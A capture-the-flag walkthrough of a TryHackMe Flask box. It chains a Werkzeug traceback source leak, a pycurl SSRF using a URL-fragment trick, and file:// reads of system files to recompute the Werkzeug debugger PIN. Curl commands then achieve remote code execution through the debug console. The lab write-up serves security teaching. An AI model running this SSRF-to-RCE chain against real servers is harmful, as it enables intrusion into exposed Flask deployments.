Box: Plant Photographer · Platform: TryHackMe · Category: Web · Difficulty: Medium

Enumeration

Port / Service Fingerprint

Visiting http://<target>/ reveals a Flask portfolio site (Jay Green, Plant Photographer). Response headers confirm the stack immediately:

1
Server: Werkzeug/0.16.0 Python/3.10.7

Directory Enumeration

Running gobuster against the root surfaces three non-standard endpoints:

1
2
3
/admin      200  48 B
/console    200  1985 B
/download   200  20 B
  • /admin — returns “Admin interface only available from localhost!!!” for external requests.
  • /console — the Werkzeug interactive debugger, PIN-locked (EVALEX_TRUSTED: false).
  • /download — accepts server and id query parameters; returns “No file selected…” with no args.

The hidden sidebar in the page source already links to /admin:

1
<a href="/admin" ><span style="color:goldenrod;">Admin Area</span></a>

Flag 1 — API Key in Source

Triggering a deliberate error on the download endpoint leaks the full Flask source through the Werkzeug debug traceback. The key line:

1
crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{REDACTED}'])

The app source at /usr/src/app/app.py (confirmed from the traceback) also reveals the complete download route logic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@app.route("/download")
def download():
    file_id = request.args.get('id','')
    server  = request.args.get('server','')
    if file_id != '':
        filename = str(int(file_id)) + '.pdf'
        response_buf = BytesIO()
        crl = pycurl.Curl()
        crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
        crl.setopt(crl.WRITEDATA, response_buf)
        crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{REDACTED}'])
        crl.perform()
        ...

server is passed unsanitised directly to pycurl — classic SSRF.

Flag 1: THM{REDACTED}


Flag 2 — SSRF → Localhost Admin Bypass

The Admin Route

Reading the app source confirms what /admin does when the request comes from 127.0.0.1:

1
2
3
4
5
@app.route("/admin")
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

The Flask dev server listens internally on port 8087 (confirmed from /proc/net/tcp: 0x1F97).

Fragment Trick to Hit /admin

The download route appends /public-docs-k057230990384293/<id>.pdf to the server parameter. By placing a URL fragment (#) in the server value, pycurl strips everything after the # before sending the HTTP request, letting us hit any path:

1
/download?server=http://127.0.0.1:8087/admin%23&id=1

pycurl resolves this as GET /admin to 127.0.0.1:8087 — the check passes, and the response is flag.pdf.

1
2
3
4
curl -o flag.pdf \
  "http://<target>/download?server=http://127.0.0.1:8087/admin%23&id=1"
pdftotext flag.pdf -
# The flag is thm{REDACTED}

Flag 2: thm{REDACTED}


Flag 3 — Werkzeug PIN Cracking → RCE

Collecting PIN Ingredients via file:// SSRF

pycurl supports the file:// scheme. Passing server=file:///path/to/file%23 (fragment drops the appended path) turns the download endpoint into an arbitrary file reader:

FileValue
/etc/passwdRoot user confirmed, Alpine Linux
/proc/sys/kernel/random/boot_id6362c4aa-15d9-439a-be50-6399f7c2b5cb
/sys/class/net/eth0/address02:42:ac:14:00:02
/proc/self/cgroupDocker container ID: 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca

How Werkzeug 0.16 Generates the PIN

Werkzeug’s get_machine_id() checks /proc/self/cgroup first. If a /docker/<id> path is found, it returns only the container ID — no combination with the boot ID:

1
2
3
value = value.strip().partition("/docker/")[2]
if value:
    return value  # early return — boot_id never used

The probably_public_bits and private_bits arrays:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
probably_public_bits = [
    'root',                          # getpass.getuser()
    'flask.app',                     # app.__module__
    'Flask',                         # type(app).__name__
    '/usr/local/lib/python3.10/site-packages/flask/app.py',
]
private_bits = [
    str(int('0242ac140002', 16)),    # uuid.getnode() — MAC as int → 2485378088962
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca',
]

PIN calculation (md5, Werkzeug 0.16):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import hashlib
from itertools import chain

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
pin = '-'.join([num[:3], num[3:6], num[6:]])   # → 110-688-511

Authenticating and Executing Commands

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Authenticate
curl -c cookies.jar \
  "http://<target>/console?__debugger__=yes&cmd=pinauth&pin=110-688-511&s=aPze6doYlVgBpyFyJTJy"
# {"auth": true, "exhausted": false}

# Initialise the console frame
curl -b cookies.jar "http://<target>/console" > /dev/null

# Execute Python
curl -b cookies.jar \
  "http://<target>/console?__debugger__=yes&cmd=__import__('os').popen('find+/usr/src/app+-type+f').read()&frm=0&s=aPze6doYlVgBpyFyJTJy"

The file listing reveals the hidden flag file:

1
/usr/src/app/flag-982374827648721338.txt
1
2
3
curl -b cookies.jar \
  "http://<target>/console?__debugger__=yes&cmd=open('/usr/src/app/flag-982374827648721338.txt').read()&frm=0&s=aPze6doYlVgBpyFyJTJy"
# 'THM{REDACTED}\n'

Flag 3: THM{REDACTED}


Summary

StepTechnique
Flag 1Werkzeug debug traceback exposes hardcoded API key in source
Flag 2SSRF via pycurl server param + URL fragment bypass → localhost admin returns flag.pdf
Flag 3file:// SSRF reads /proc/self/cgroup & MAC → Werkzeug PIN cracked → RCE via debug console

The chain is a textbook SSRF-to-RCE: an unrestricted server parameter with pycurl enables both file:// LFI (to gather PIN ingredients) and HTTP SSRF (to reach the localhost-only admin), while the exposed Werkzeug debug console turns PIN knowledge into full code execution.